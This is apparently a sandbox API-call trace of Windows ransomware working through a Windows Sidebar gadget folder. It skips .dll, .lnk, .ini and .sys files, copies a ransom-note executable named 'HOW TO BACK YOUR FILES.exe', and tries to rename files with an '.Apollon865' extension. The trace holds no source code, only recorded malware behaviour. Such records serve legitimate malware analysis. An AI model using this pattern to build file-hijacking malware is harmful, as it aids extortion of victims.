	[0061.520] lstrcmpiW (lpString1="useout.png", lpString2="Apollon865") returned 1
	[0061.520] lstrlenW (lpString=".dll") returned 4
	[0061.520] lstrcmpiW (lpString1="button_left_mouseout.png", lpString2=".dll") returned 1
	[0061.520] lstrlenW (lpString=".lnk") returned 4
	[0061.520] lstrcmpiW (lpString1="button_left_mouseout.png", lpString2=".lnk") returned 1
	[0061.520] lstrlenW (lpString=".ini") returned 4
	[0061.520] lstrcmpiW (lpString1="button_left_mouseout.png", lpString2=".ini") returned 1
	[0061.520] lstrlenW (lpString=".sys") returned 4
	[0061.520] lstrcmpiW (lpString1="button_left_mouseout.png", lpString2=".sys") returned 1
	[0061.520] lstrlenW (lpString="button_left_mouseout.png") returned 24
	[0061.520] lstrcpyW (in: lpString1=0x2d3e5d6, lpString2="button_left_mouseover.png" | out: lpString1="button_left_mouseover.png") returned="button_left_mouseover.png"
	[0061.520] lstrlenW (lpString="button_left_mouseover.png") returned 25
	[0061.520] lstrlenW (lpString="Apollon865") returned 10
	[0061.520] lstrcmpiW (lpString1="seover.png", lpString2="Apollon865") returned 1
	[0061.520] lstrlenW (lpString=".dll") returned 4
	[0061.520] lstrcmpiW (lpString1="button_left_mouseover.png", lpString2=".dll") returned 1
	[0061.520] lstrlenW (lpString=".lnk") returned 4
	[0061.520] lstrcmpiW (lpString1="button_left_mouseover.png", lpString2=".lnk") returned 1
	[0061.520] lstrlenW (lpString=".ini") returned 4
	[0061.520] lstrcmpiW (lpString1="button_left_mouseover.png", lpString2=".ini") returned 1
	[0061.520] lstrlenW (lpString=".sys") returned 4
	[0061.520] lstrcmpiW (lpString1="button_left_mouseover.png", lpString2=".sys") returned 1
	[0061.520] lstrlenW (lpString="button_left_mouseover.png") returned 25
	[0061.520] lstrcpyW (in: lpString1=0x2d3e5d6, lpString2="button_MCELogo_mousedown.png" | out: lpString1="button_MCELogo_mousedown.png") returned="button_MCELogo_mousedown.png"
	[0061.520] lstrlenW (lpString="button_MCELogo_mousedown.png") returned 28
	[0061.520] lstrlenW (lpString="Apollon865") returned 10
	[0061.520] lstrcmpiW (lpString1="sedown.png", lpString2="Apollon865") returned 1
	[0061.520] lstrlenW (lpString=".dll") returned 4
	[0061.520] lstrcmpiW (lpString1="button_MCELogo_mousedown.png", lpString2=".dll") returned 1
	[0061.520] lstrlenW (lpString=".lnk") returned 4
	[0061.521] lstrcmpiW (lpString1="button_MCELogo_mousedown.png", lpString2=".lnk") returned 1
	[0061.521] lstrlenW (lpString=".ini") returned 4
	[0061.521] lstrcmpiW (lpString1="button_MCELogo_mousedown.png", lpString2=".ini") returned 1
	[0061.521] lstrlenW (lpString=".sys") returned 4
	[0061.521] lstrcmpiW (lpString1="button_MCELogo_mousedown.png", lpString2=".sys") returned 1
	[0061.521] lstrlenW (lpString="button_MCELogo_mousedown.png") returned 28
	[0061.521] lstrcpyW (in: lpString1=0x2d3e5d6, lpString2="button_MCELogo_mouseout.png" | out: lpString1="button_MCELogo_mouseout.png") returned="button_MCELogo_mouseout.png"
	[0061.521] lstrlenW (lpString="button_MCELogo_mouseout.png") returned 27
	[0061.521] lstrlenW (lpString="Apollon865") returned 10
	[0061.521] lstrcmpiW (lpString1="useout.png", lpString2="Apollon865") returned 1
	[0061.521] lstrlenW (lpString=".dll") returned 4
	[0061.521] lstrcmpiW (lpString1="button_MCELogo_mouseout.png", lpString2=".dll") returned 1
	[0061.521] lstrlenW (lpString=".lnk") returned 4
	[0061.521] lstrcmpiW (lpString1="button_MCELogo_mouseout.png", lpString2=".lnk") returned 1
	[0061.521] lstrlenW (lpString=".ini") returned 4
	[0061.521] lstrcmpiW (lpString1="button_MCELogo_mouseout.png", lpString2=".ini") returned 1
	[0061.521] lstrlenW (lpString=".sys") returned 4
	[0061.521] lstrcmpiW (lpString1="button_MCELogo_mouseout.png", lpString2=".sys") returned 1
	[0061.521] lstrlenW (lpString="button_MCELogo_mouseout.png") returned 27
	[0061.521] lstrcpyW (in: lpString1=0x2d3e5d6, lpString2="button_MCELogo_mouseover.png" | out: lpString1="button_MCELogo_mouseover.png") returned="button_MCELogo_mouseover.png"
	[0061.521] lstrlenW (lpString="button_MCELogo_mouseover.png") returned 28
	[0061.521] lstrlenW (lpString="Apollon865") returned 10
	[0061.521] lstrcmpiW (lpString1="seover.png", lpString2="Apollon865") returned 1
	[0061.521] lstrlenW (lpString=".dll") returned 4
	[0061.521] lstrcmpiW (lpString1="button_MCELogo_mouseover.png", lpString2=".dll") returned 1
	[0061.521] lstrlenW (lpString=".lnk") returned 4
	[0061.521] lstrcmpiW (lpString1="button_MCELogo_mouseover.png", lpString2=".lnk") returned 1
	[0061.521] lstrlenW (lpString=".ini") returned 4
	[0061.521] lstrcmpiW (lpString1="button_MCELogo_mouseover.png", lpString2=".ini") returned 1
	[0061.521] lstrlenW (lpString=".sys") returned 4
	[0061.521] lstrcmpiW (lpString1="button_MCELogo_mouseover.png", lpString2=".sys") returned 1
	[0061.522] lstrlenW (lpString="button_MCELogo_mouseover.png") returned 28
	[0061.522] lstrcpyW (in: lpString1=0x2d3e5d6, lpString2="button_play.png" | out: lpString1="button_play.png") returned="button_play.png"
	[0061.522] lstrlenW (lpString="button_play.png") returned 15
	[0061.522] lstrlenW (lpString="Apollon865") returned 10
	[0061.522] lstrcmpiW (lpString1="n_play.png", lpString2="Apollon865") returned 1
	[0061.522] lstrlenW (lpString=".dll") returned 4
	[0061.522] lstrcmpiW (lpString1="button_play.png", lpString2=".dll") returned 1
	[0061.522] lstrlenW (lpString=".lnk") returned 4
	[0061.522] lstrcmpiW (lpString1="button_play.png", lpString2=".lnk") returned 1
	[0061.522] lstrlenW (lpString=".ini") returned 4
	[0061.522] lstrcmpiW (lpString1="button_play.png", lpString2=".ini") returned 1
	[0061.522] lstrlenW (lpString=".sys") returned 4
	[0061.522] lstrcmpiW (lpString1="button_play.png", lpString2=".sys") returned 1
	[0061.522] lstrlenW (lpString="button_play.png") returned 15
	[0061.522] lstrcpyW (in: lpString1=0x2d3e5d6, lpString2="button_right_mousedown.png" | out: lpString1="button_right_mousedown.png") returned="button_right_mousedown.png"
	[0061.522] lstrlenW (lpString="button_right_mousedown.png") returned 26
	[0061.522] lstrlenW (lpString="Apollon865") returned 10
	[0061.522] lstrcmpiW (lpString1="sedown.png", lpString2="Apollon865") returned 1
	[0061.522] lstrlenW (lpString=".dll") returned 4
	[0061.522] lstrcmpiW (lpString1="button_right_mousedown.png", lpString2=".dll") returned 1
	[0061.522] lstrlenW (lpString=".lnk") returned 4
	[0061.522] lstrcmpiW (lpString1="button_right_mousedown.png", lpString2=".lnk") returned 1
	[0061.522] lstrlenW (lpString=".ini") returned 4
	[0061.522] lstrcmpiW (lpString1="button_right_mousedown.png", lpString2=".ini") returned 1
	[0061.522] lstrlenW (lpString=".sys") returned 4
	[0061.522] lstrcmpiW (lpString1="button_right_mousedown.png", lpString2=".sys") returned 1
	[0061.522] lstrlenW (lpString="button_right_mousedown.png") returned 26
	[0061.522] lstrcpyW (in: lpString1=0x2d3e5d6, lpString2="button_right_mouseout.png" | out: lpString1="button_right_mouseout.png") returned="button_right_mouseout.png"
	[0061.522] lstrlenW (lpString="button_right_mouseout.png") returned 25
	[0061.523] lstrlenW (lpString="Apollon865") returned 10
	[0061.523] lstrcmpiW (lpString1="useout.png", lpString2="Apollon865") returned 1
	[0061.523] lstrlenW (lpString=".dll") returned 4
	[0061.523] lstrcmpiW (lpString1="button_right_mouseout.png", lpString2=".dll") returned 1
	[0061.523] lstrlenW (lpString=".lnk") returned 4
	[0061.523] lstrcmpiW (lpString1="button_right_mouseout.png", lpString2=".lnk") returned 1
	[0061.523] lstrlenW (lpString=".ini") returned 4
	[0061.523] lstrcmpiW (lpString1="button_right_mouseout.png", lpString2=".ini") returned 1
	[0061.523] lstrlenW (lpString=".sys") returned 4
	[0061.523] lstrcmpiW (lpString1="button_right_mouseout.png", lpString2=".sys") returned 1
	[0061.523] lstrlenW (lpString="button_right_mouseout.png") returned 25
	[0061.523] lstrcpyW (in: lpString1=0x2d3e5d6, lpString2="button_right_mouseover.png" | out: lpString1="button_right_mouseover.png") returned="button_right_mouseover.png"
	[0061.523] lstrlenW (lpString="button_right_mouseover.png") returned 26
	[0061.523] lstrlenW (lpString="Apollon865") returned 10
	[0061.523] lstrcmpiW (lpString1="seover.png", lpString2="Apollon865") returned 1
	[0061.523] lstrlenW (lpString=".dll") returned 4
	[0061.523] lstrcmpiW (lpString1="button_right_mouseover.png", lpString2=".dll") returned 1
	[0061.523] lstrlenW (lpString=".lnk") returned 4
	[0061.523] lstrcmpiW (lpString1="button_right_mouseover.png", lpString2=".lnk") returned 1
	[0061.523] lstrlenW (lpString=".ini") returned 4
	[0061.523] lstrcmpiW (lpString1="button_right_mouseover.png", lpString2=".ini") returned 1
	[0061.523] lstrlenW (lpString=".sys") returned 4
	[0061.523] lstrcmpiW (lpString1="button_right_mouseover.png", lpString2=".sys") returned 1
	[0061.523] lstrlenW (lpString="button_right_mouseover.png") returned 26
	[0061.523] lstrcpyW (in: lpString1=0x2d3e5d6, lpString2="default_thumb.jpg" | out: lpString1="default_thumb.jpg") returned="default_thumb.jpg"
	[0061.523] lstrlenW (lpString="default_thumb.jpg") returned 17
	[0061.523] lstrlenW (lpString="Apollon865") returned 10
	[0061.523] lstrcmpiW (lpString1="_thumb.jpg", lpString2="Apollon865") returned -1
	[0061.523] lstrlenW (lpString=".dll") returned 4
	[0061.523] lstrcmpiW (lpString1="default_thumb.jpg", lpString2=".dll") returned 1
	[0061.523] lstrlenW (lpString=".lnk") returned 4
	[0061.524] lstrcmpiW (lpString1="default_thumb.jpg", lpString2=".lnk") returned 1
	[0061.524] lstrlenW (lpString=".ini") returned 4
	[0061.524] lstrcmpiW (lpString1="default_thumb.jpg", lpString2=".ini") returned 1
	[0061.524] lstrlenW (lpString=".sys") returned 4
	[0061.524] lstrcmpiW (lpString1="default_thumb.jpg", lpString2=".sys") returned 1
	[0061.524] lstrlenW (lpString="default_thumb.jpg") returned 17
	[0061.524] lstrcpyW (in: lpString1=0x2d3e5d6, lpString2="ehshellLogo.png" | out: lpString1="ehshellLogo.png") returned="ehshellLogo.png"
	[0061.524] lstrlenW (lpString="ehshellLogo.png") returned 15
	[0061.524] lstrlenW (lpString="Apollon865") returned 10
	[0061.524] lstrcmpiW (lpString1="llLogo.png", lpString2="Apollon865") returned 1
	[0061.524] lstrlenW (lpString=".dll") returned 4
	[0061.524] lstrcmpiW (lpString1="ehshellLogo.png", lpString2=".dll") returned 1
	[0061.524] lstrlenW (lpString=".lnk") returned 4
	[0061.524] lstrcmpiW (lpString1="ehshellLogo.png", lpString2=".lnk") returned 1
	[0061.524] lstrlenW (lpString=".ini") returned 4
	[0061.524] lstrcmpiW (lpString1="ehshellLogo.png", lpString2=".ini") returned 1
	[0061.524] lstrlenW (lpString=".sys") returned 4
	[0061.524] lstrcmpiW (lpString1="ehshellLogo.png", lpString2=".sys") returned 1
	[0061.524] lstrlenW (lpString="ehshellLogo.png") returned 15
	[0061.524] lstrcpyW (in: lpString1=0x2d3e5d6, lpString2="flyout_background.png" | out: lpString1="flyout_background.png") returned="flyout_background.png"
	[0061.524] lstrlenW (lpString="flyout_background.png") returned 21
	[0061.524] lstrlenW (lpString="Apollon865") returned 10
	[0061.524] lstrcmpiW (lpString1="ground.png", lpString2="Apollon865") returned 1
	[0061.524] lstrlenW (lpString=".dll") returned 4
	[0061.524] lstrcmpiW (lpString1="flyout_background.png", lpString2=".dll") returned 1
	[0061.524] lstrlenW (lpString=".lnk") returned 4
	[0061.524] lstrcmpiW (lpString1="flyout_background.png", lpString2=".lnk") returned 1
	[0061.524] lstrlenW (lpString=".ini") returned 4
	[0061.524] lstrcmpiW (lpString1="flyout_background.png", lpString2=".ini") returned 1
	[0061.524] lstrlenW (lpString=".sys") returned 4
	[0061.524] lstrcmpiW (lpString1="flyout_background.png", lpString2=".sys") returned 1
	[0061.524] lstrlenW (lpString="flyout_background.png") returned 21
	[0061.525] lstrcpyW (in: lpString1=0x2d3e5d6, lpString2="Gadget_Flyout_Thumbnail_Shadow.png" | out: lpString1="Gadget_Flyout_Thumbnail_Shadow.png") returned="Gadget_Flyout_Thumbnail_Shadow.png"
	[0061.525] lstrlenW (lpString="Gadget_Flyout_Thumbnail_Shadow.png") returned 34
	[0061.525] lstrlenW (lpString="Apollon865") returned 10
	[0061.525] lstrcmpiW (lpString1="Shadow.png", lpString2="Apollon865") returned 1
	[0061.525] lstrlenW (lpString=".dll") returned 4
	[0061.525] lstrcmpiW (lpString1="Gadget_Flyout_Thumbnail_Shadow.png", lpString2=".dll") returned 1
	[0061.525] lstrlenW (lpString=".lnk") returned 4
	[0061.525] lstrcmpiW (lpString1="Gadget_Flyout_Thumbnail_Shadow.png", lpString2=".lnk") returned 1
	[0061.525] lstrlenW (lpString=".ini") returned 4
	[0061.525] lstrcmpiW (lpString1="Gadget_Flyout_Thumbnail_Shadow.png", lpString2=".ini") returned 1
	[0061.525] lstrlenW (lpString=".sys") returned 4
	[0061.525] lstrcmpiW (lpString1="Gadget_Flyout_Thumbnail_Shadow.png", lpString2=".sys") returned 1
	[0061.525] lstrlenW (lpString="Gadget_Flyout_Thumbnail_Shadow.png") returned 34
	[0061.525] lstrcpyW (in: lpString1=0x2d3e5d6, lpString2="Gadget_Main_Background_Loading.png" | out: lpString1="Gadget_Main_Background_Loading.png") returned="Gadget_Main_Background_Loading.png"
	[0061.525] lstrlenW (lpString="Gadget_Main_Background_Loading.png") returned 34
	[0061.525] lstrlenW (lpString="Apollon865") returned 10
	[0061.525] lstrcmpiW (lpString1="oading.png", lpString2="Apollon865") returned 1
	[0061.525] lstrlenW (lpString=".dll") returned 4
	[0061.525] lstrcmpiW (lpString1="Gadget_Main_Background_Loading.png", lpString2=".dll") returned 1
	[0061.525] lstrlenW (lpString=".lnk") returned 4
	[0061.525] lstrcmpiW (lpString1="Gadget_Main_Background_Loading.png", lpString2=".lnk") returned 1
	[0061.525] lstrlenW (lpString=".ini") returned 4
	[0061.525] lstrcmpiW (lpString1="Gadget_Main_Background_Loading.png", lpString2=".ini") returned 1
	[0061.525] lstrlenW (lpString=".sys") returned 4
	[0061.525] lstrcmpiW (lpString1="Gadget_Main_Background_Loading.png", lpString2=".sys") returned 1
	[0061.525] lstrlenW (lpString="Gadget_Main_Background_Loading.png") returned 34
	[0061.525] lstrcpyW (in: lpString1=0x2d3e5d6, lpString2="Gadget_Main_Background_QuickLaunch.png" | out: lpString1="Gadget_Main_Background_QuickLaunch.png") returned="Gadget_Main_Background_QuickLaunch.png"
	[0061.525] lstrlenW (lpString="Gadget_Main_Background_QuickLaunch.png") returned 38
	[0061.525] lstrlenW (lpString="Apollon865") returned 10
	[0061.526] lstrcmpiW (lpString1="Launch.png", lpString2="Apollon865") returned 1
	[0061.526] lstrlenW (lpString=".dll") returned 4
	[0061.526] lstrcmpiW (lpString1="Gadget_Main_Background_QuickLaunch.png", lpString2=".dll") returned 1
	[0061.526] lstrlenW (lpString=".lnk") returned 4
	[0061.526] lstrcmpiW (lpString1="Gadget_Main_Background_QuickLaunch.png", lpString2=".lnk") returned 1
	[0061.526] lstrlenW (lpString=".ini") returned 4
	[0061.526] lstrcmpiW (lpString1="Gadget_Main_Background_QuickLaunch.png", lpString2=".ini") returned 1
	[0061.526] lstrlenW (lpString=".sys") returned 4
	[0061.526] lstrcmpiW (lpString1="Gadget_Main_Background_QuickLaunch.png", lpString2=".sys") returned 1
	[0061.526] lstrlenW (lpString="Gadget_Main_Background_QuickLaunch.png") returned 38
	[0061.526] lstrcpyW (in: lpString1=0x2d3e5d6, lpString2="Gadget_Main_Gradient.png" | out: lpString1="Gadget_Main_Gradient.png") returned="Gadget_Main_Gradient.png"
	[0061.526] lstrlenW (lpString="Gadget_Main_Gradient.png") returned 24
	[0061.526] lstrlenW (lpString="Apollon865") returned 10
	[0061.526] lstrcmpiW (lpString1="adient.png", lpString2="Apollon865") returned -1
	[0061.526] lstrlenW (lpString=".dll") returned 4
	[0061.526] lstrcmpiW (lpString1="Gadget_Main_Gradient.png", lpString2=".dll") returned 1
	[0061.526] lstrlenW (lpString=".lnk") returned 4
	[0061.526] lstrcmpiW (lpString1="Gadget_Main_Gradient.png", lpString2=".lnk") returned 1
	[0061.526] lstrlenW (lpString=".ini") returned 4
	[0061.526] lstrcmpiW (lpString1="Gadget_Main_Gradient.png", lpString2=".ini") returned 1
	[0061.526] lstrlenW (lpString=".sys") returned 4
	[0061.526] lstrcmpiW (lpString1="Gadget_Main_Gradient.png", lpString2=".sys") returned 1
	[0061.526] lstrlenW (lpString="Gadget_Main_Gradient.png") returned 24
	[0061.526] lstrcpyW (in: lpString1=0x2d3e5d6, lpString2="Gadget_Star_Empty.png" | out: lpString1="Gadget_Star_Empty.png") returned="Gadget_Star_Empty.png"
	[0061.526] lstrlenW (lpString="Gadget_Star_Empty.png") returned 21
	[0061.526] lstrlenW (lpString="Apollon865") returned 10
	[0061.526] lstrcmpiW (lpString1="_Empty.png", lpString2="Apollon865") returned -1
	[0061.526] lstrlenW (lpString=".dll") returned 4
	[0061.526] lstrcmpiW (lpString1="Gadget_Star_Empty.png", lpString2=".dll") returned 1
	[0061.526] lstrlenW (lpString=".lnk") returned 4
	[0061.527] lstrcmpiW (lpString1="Gadget_Star_Empty.png", lpString2=".lnk") returned 1
	[0061.527] lstrlenW (lpString=".ini") returned 4
	[0061.527] lstrcmpiW (lpString1="Gadget_Star_Empty.png", lpString2=".ini") returned 1
	[0061.527] lstrlenW (lpString=".sys") returned 4
	[0061.527] lstrcmpiW (lpString1="Gadget_Star_Empty.png", lpString2=".sys") returned 1
	[0061.527] lstrlenW (lpString="Gadget_Star_Empty.png") returned 21
	[0061.527] lstrcpyW (in: lpString1=0x2d3e5d6, lpString2="Gadget_Star_Full.png" | out: lpString1="Gadget_Star_Full.png") returned="Gadget_Star_Full.png"
	[0061.527] lstrlenW (lpString="Gadget_Star_Full.png") returned 20
	[0061.527] lstrlenW (lpString="Apollon865") returned 10
	[0061.527] lstrcmpiW (lpString1="r_Full.png", lpString2="Apollon865") returned 1
	[0061.527] lstrlenW (lpString=".dll") returned 4
	[0061.527] lstrcmpiW (lpString1="Gadget_Star_Full.png", lpString2=".dll") returned 1
	[0061.528] lstrlenW (lpString=".lnk") returned 4
	[0061.528] lstrcmpiW (lpString1="Gadget_Star_Full.png", lpString2=".lnk") returned 1
	[0061.528] lstrlenW (lpString=".ini") returned 4
	[0061.528] lstrcmpiW (lpString1="Gadget_Star_Full.png", lpString2=".ini") returned 1
	[0061.528] lstrlenW (lpString=".sys") returned 4
	[0061.528] lstrcmpiW (lpString1="Gadget_Star_Full.png", lpString2=".sys") returned 1
	[0061.528] lstrlenW (lpString="Gadget_Star_Full.png") returned 20
	[0061.528] lstrcpyW (in: lpString1=0x2d3e5d6, lpString2="Gadget_Star_Half.png" | out: lpString1="Gadget_Star_Half.png") returned="Gadget_Star_Half.png"
	[0061.528] lstrlenW (lpString="Gadget_Star_Half.png") returned 20
	[0061.528] lstrlenW (lpString="Apollon865") returned 10
	[0061.528] lstrcmpiW (lpString1="r_Half.png", lpString2="Apollon865") returned 1
	[0061.528] lstrlenW (lpString=".dll") returned 4
	[0061.528] lstrcmpiW (lpString1="Gadget_Star_Half.png", lpString2=".dll") returned 1
	[0061.528] lstrlenW (lpString=".lnk") returned 4
	[0061.528] lstrcmpiW (lpString1="Gadget_Star_Half.png", lpString2=".lnk") returned 1
	[0061.528] lstrlenW (lpString=".ini") returned 4
	[0061.528] lstrcmpiW (lpString1="Gadget_Star_Half.png", lpString2=".ini") returned 1
	[0061.528] lstrlenW (lpString=".sys") returned 4
	[0061.528] lstrcmpiW (lpString1="Gadget_Star_Half.png", lpString2=".sys") returned 1
	[0061.528] lstrlenW (lpString="Gadget_Star_Half.png") returned 20
	[0061.528] lstrcpyW (in: lpString1=0x2d3e5d6, lpString2="Gadget_Waitcursor.gif" | out: lpString1="Gadget_Waitcursor.gif") returned="Gadget_Waitcursor.gif"
	[0061.528] lstrlenW (lpString="Gadget_Waitcursor.gif") returned 21
	[0061.528] lstrlenW (lpString="Apollon865") returned 10
	[0061.528] lstrcmpiW (lpString1="cursor.gif", lpString2="Apollon865") returned 1
	[0061.528] lstrlenW (lpString=".dll") returned 4
	[0061.528] lstrcmpiW (lpString1="Gadget_Waitcursor.gif", lpString2=".dll") returned 1
	[0061.528] lstrlenW (lpString=".lnk") returned 4
	[0061.528] lstrcmpiW (lpString1="Gadget_Waitcursor.gif", lpString2=".lnk") returned 1
	[0061.528] lstrlenW (lpString=".ini") returned 4
	[0061.528] lstrcmpiW (lpString1="Gadget_Waitcursor.gif", lpString2=".ini") returned 1
	[0061.528] lstrlenW (lpString=".sys") returned 4
	[0061.529] lstrcmpiW (lpString1="Gadget_Waitcursor.gif", lpString2=".sys") returned 1
	[0061.529] lstrlenW (lpString="Gadget_Waitcursor.gif") returned 21
	[0061.529] lstrcpyW (in: lpString1=0x2d3e5d6, lpString2="Gadget_WMC_LogoText.png" | out: lpString1="Gadget_WMC_LogoText.png") returned="Gadget_WMC_LogoText.png"
	[0061.529] lstrlenW (lpString="Gadget_WMC_LogoText.png") returned 23
	[0061.529] lstrlenW (lpString="Apollon865") returned 10
	[0061.529] lstrcmpiW (lpString1="goText.png", lpString2="Apollon865") returned 1
	[0061.529] lstrlenW (lpString=".dll") returned 4
	[0061.529] lstrcmpiW (lpString1="Gadget_WMC_LogoText.png", lpString2=".dll") returned 1
	[0061.529] lstrlenW (lpString=".lnk") returned 4
	[0061.529] lstrcmpiW (lpString1="Gadget_WMC_LogoText.png", lpString2=".lnk") returned 1
	[0061.529] lstrlenW (lpString=".ini") returned 4
	[0061.529] lstrcmpiW (lpString1="Gadget_WMC_LogoText.png", lpString2=".ini") returned 1
	[0061.529] lstrlenW (lpString=".sys") returned 4
	[0061.529] lstrcmpiW (lpString1="Gadget_WMC_LogoText.png", lpString2=".sys") returned 1
	[0061.529] lstrlenW (lpString="Gadget_WMC_LogoText.png") returned 23
	[0061.529] lstrcpyW (in: lpString1=0x2d3e5d6, lpString2="logo.png" | out: lpString1="logo.png") returned="logo.png"
	[0061.529] lstrlenW (lpString="logo.png") returned 8
	[0061.529] lstrlenW (lpString="Apollon865") returned 10
	[0061.529] lstrlenW (lpString=".dll") returned 4
	[0061.529] lstrcmpiW (lpString1="logo.png", lpString2=".dll") returned 1
	[0061.529] lstrlenW (lpString=".lnk") returned 4
	[0061.529] lstrcmpiW (lpString1="logo.png", lpString2=".lnk") returned 1
	[0061.529] lstrlenW (lpString=".ini") returned 4
	[0061.529] lstrcmpiW (lpString1="logo.png", lpString2=".ini") returned 1
	[0061.529] lstrlenW (lpString=".sys") returned 4
	[0061.529] lstrcmpiW (lpString1="logo.png", lpString2=".sys") returned 1
	[0061.529] lstrlenW (lpString="logo.png") returned 8
	[0061.529] lstrcpyW (in: lpString1=0x2d3e5d6, lpString2="main_background.png" | out: lpString1="main_background.png") returned="main_background.png"
	[0061.530] lstrlenW (lpString="main_background.png") returned 19
	[0061.530] lstrlenW (lpString="Apollon865") returned 10
	[0061.530] lstrcmpiW (lpString1="ground.png", lpString2="Apollon865") returned 1
	[0061.530] lstrlenW (lpString=".dll") returned 4
	[0061.530] lstrcmpiW (lpString1="main_background.png", lpString2=".dll") returned 1
	[0061.530] lstrlenW (lpString=".lnk") returned 4
	[0061.530] lstrcmpiW (lpString1="main_background.png", lpString2=".lnk") returned 1
	[0061.530] lstrlenW (lpString=".ini") returned 4
	[0061.530] lstrcmpiW (lpString1="main_background.png", lpString2=".ini") returned 1
	[0061.530] lstrlenW (lpString=".sys") returned 4
	[0061.530] lstrcmpiW (lpString1="main_background.png", lpString2=".sys") returned 1
	[0061.530] lstrlenW (lpString="main_background.png") returned 19
	[0061.530] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\en-US", iMaxLength=260 | out: lpString1="C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\en-US") returned="C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\en-US"
	[0061.530] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b8f28 | out: hHeap=0x580000) returned 1
	[0061.530] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fc28 | out: hHeap=0x580000) returned 1
	[0061.530] lstrlenW (lpString="C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\en-US") returned 65
	[0061.530] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\en-US" | out: lpString1="C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\en-US") returned="C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\en-US"
	[0061.530] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0061.530] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\en-US\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\windows sidebar\\gadgets\\mediacenter.gadget\\en-us\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0061.534] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0061.534] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\en-US\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1b4ad62, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x3cc022f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3cc022f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0061.535] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0061.535] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0061.535] lstrcpyW (in: lpString1=0x2d3e5d4, lpString2="gadget.xml" | out: lpString1="gadget.xml") returned="gadget.xml"
	[0061.535] lstrlenW (lpString="gadget.xml") returned 10
	[0061.535] lstrlenW (lpString="Apollon865") returned 10
	[0061.535] lstrlenW (lpString=".dll") returned 4
	[0061.535] lstrcmpiW (lpString1="gadget.xml", lpString2=".dll") returned 1
	[0061.535] lstrlenW (lpString=".lnk") returned 4
	[0061.535] lstrcmpiW (lpString1="gadget.xml", lpString2=".lnk") returned 1
	[0061.535] lstrlenW (lpString=".ini") returned 4
	[0061.535] lstrcmpiW (lpString1="gadget.xml", lpString2=".ini") returned 1
	[0061.535] lstrlenW (lpString=".sys") returned 4
	[0061.535] lstrcmpiW (lpString1="gadget.xml", lpString2=".sys") returned 1
	[0061.535] lstrlenW (lpString="gadget.xml") returned 10
	[0061.535] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\en-US\\gadget.xml.Apollon865") returned 87
	[0061.535] MoveFileExW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\en-US\\gadget.xml" (normalized: "c:\\program files\\windows sidebar\\gadgets\\mediacenter.gadget\\en-us\\gadget.xml"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\en-US\\gadget.xml.Apollon865" (normalized: "c:\\program files\\windows sidebar\\gadgets\\mediacenter.gadget\\en-us\\gadget.xml.apollon865"), dwFlags=0x1) returned 0
	[0061.557] GetLastError () returned 0x5
	[0061.557] wsprintfA (in: param_1=0x2d3d6f0, param_2="[ERROR] %S MoveFileEx error %i\r\n" | out: param_1="[ERROR] C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\en-US\\gadget.xml MoveFileEx error 5\r\n") returned 105
	[0061.557] lstrlenA (lpString="[ERROR] C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\en-US\\gadget.xml MoveFileEx error 5\r\n") returned 105
	[0061.557] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c
	[0061.557] SetFilePointer (in: hFile=0x15c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x26cf
	[0061.557] WriteFile (in: hFile=0x15c, lpBuffer=0x2d3d6f0*, nNumberOfBytesToWrite=0x69, lpNumberOfBytesWritten=0x2d3d2bc, lpOverlapped=0x0 | out: lpBuffer=0x2d3d6f0*, lpNumberOfBytesWritten=0x2d3d2bc*=0x69, lpOverlapped=0x0) returned 1
	[0061.692] CloseHandle (hObject=0x15c) returned 1
